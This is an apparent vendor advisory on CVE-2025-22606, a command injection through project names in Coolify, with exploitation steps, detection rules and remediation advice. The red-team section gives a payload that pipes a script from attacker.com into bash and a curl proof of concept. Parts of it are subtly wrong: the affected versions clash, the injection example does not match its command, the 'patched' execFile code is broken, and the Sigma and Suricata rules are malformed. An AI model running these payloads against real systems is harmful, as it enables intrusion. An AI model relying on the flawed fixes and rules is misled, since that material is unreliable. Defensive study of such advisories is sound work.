CVE-2025-22606

Executive Summary

CVE-2025-22606 is a critical OS Command Injection vulnerability in Coolify, an open-source and self-hostable tool for managing servers, applications, and databases. The flaw resides in the project creation and update functionality, where the project name is not properly sanitized before being used in shell commands. An attacker with access to project management features can inject arbitrary shell commands by including unescaped characters, such as single quotes ('), in the project name. This allows for full system compromise, including the ability to create, modify, or delete sensitive system files and escalate privileges. The vulnerability affects versions prior to 4.0.0-beta.359. The CVSS score is 0.0 due to incomplete NVD data, but based on the impact, it is assessed as critical.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Coolify application itself. Users should verify the integrity of their Coolify installation and ensure they are running a patched version.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker needs a valid account with project management access.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the intended scope.
• Confidentiality (C): High (H) - Full system compromise is possible.
• Integrity (I): High (H) - Attackers can modify system files.
• Availability (A): High (H) - Attackers can disrupt services.

Threat Level: Critical. The low attack complexity and potential for full system compromise make this a high-priority vulnerability.

Deep Dive & Mechanics

The vulnerability is a classic OS Command Injection flaw. When a user creates or updates a "project" in Coolify, the application likely constructs a shell command to perform backend operations (e.g., creating directories, setting up configurations). The project name is incorporated into this command without proper sanitization or escaping.

For example, if the application executes a command like:

mkdir /var/coolify/projects/{project_name}

An attacker could set the project name to:

test'; malicious_command; echo '

This would break out of the intended command structure, resulting in:

mkdir /var/coolify/projects/test'; malicious_command; echo '

The shell would interpret the single quote as closing the string, then execute malicious_command, and then open a new string with the second single quote. This allows arbitrary command execution.

The vulnerability is present in the project creation and update endpoints. The fix in version 4.0.0-beta.359 likely involves proper escaping or parameterization of the project name before it is used in shell commands.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct string interpolation
const command = `mkdir /var/coolify/projects/${projectName}`;
exec(command, (error, stdout, stderr) => {
  // ...
});

Patched Code (Conceptual):

// Patched: Use parameterized execution or proper escaping
const { execFile } = require('child_process');
execFile('mkdir', ['/var/coolify/projects/', projectName], (error, stdout, stderr) => {
  // ...
});

Or with proper escaping:

const escapedName = projectName.replace(/'/g, "'\\''");
const command = `mkdir /var/coolify/projects/${escapedName}`;
exec(command, (error, stdout, stderr) => {
  // ...
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Coolify instance running version < 4.0.0-beta.358.
• A valid user account with project management privileges.

Exploitation Steps:

1. Log in to the Coolify web interface.
2. Navigate to the project creation or update page.
3. In the project name field, inject a malicious command. For example:

   test'; curl http://attacker.com/backdoor.sh | bash; echo '
   

4. Submit the form. The injected command will be executed on the host system.

Proof of Concept (PoC):

# Using curl to send a crafted request
curl -X POST https://target.coolify.io/api/projects \
  -H "Authorization: Bearer <token>" \
  -d 'name=test%27%3B%20id%20%3E%20/tmp/pwned%3B%20echo%20%27'

This would execute the id command and write the output to /tmp/pwned.

Blue Team

Detection:

• Monitor for unusual project names containing shell metacharacters (e.g., ', ;, |, &, $).
• Look for unexpected child processes spawned by the Coolify application.
• Check for outbound connections from the Coolify server to unknown IPs.

Hunting:

• Search logs for project creation/update events with suspicious names.
• Use the Sigma rule provided in the Detection Engineering section.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to attacker-controlled IPs.
  • Unusual DNS queries.
• File System:
  • Unexpected files in /tmp/ or other writable directories.
  • Modified system binaries or configuration files.
• Process:
  • Child processes spawned by the Coolify application that are not typical (e.g., curl, wget, bash, python).
• Logs:
  • Coolify application logs showing project names with shell metacharacters.

Detection Engineering

YARA Rule

rule CVE_2025_22606_Coolify_Command_Injection {
    meta:
        description = "Detects attempts to exploit CVE-2025-22606 in Coolify logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22606"
    strings:
        $cmd_inject = /project_name.*[';|&$`]/
    condition:
        $cmd_inject
}

Sigma Rule

title: Coolify OS Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-22606 via project name injection
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: coolify
detection:
    selection:
        EventID: 1
        Image|endswith: '\node.exe'
        CommandLine|contains:
            - 'project_name'
            - 'name'
        CommandLine|re: '[';|&$`]'
    condition: selection
falsepositives:
    - Legitimate use of special characters in project names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22606 Coolify OS Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/projects"; http_uri; content:"name="; http_client_body; pcre:"/name=[^&]*[';|&$`]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Coolify to version 4.0.0-beta.359 or later.
2. If immediate upgrade is not possible, restrict access to the project management features to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the project name parameter.

Long-term Measures:

• Conduct a code review to ensure all user inputs are properly sanitized and parameterized.
• Implement input validation and output encoding for all shell commands.
• Use least privilege principles for the Coolify application process.
• Regularly update Coolify to the latest version.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division.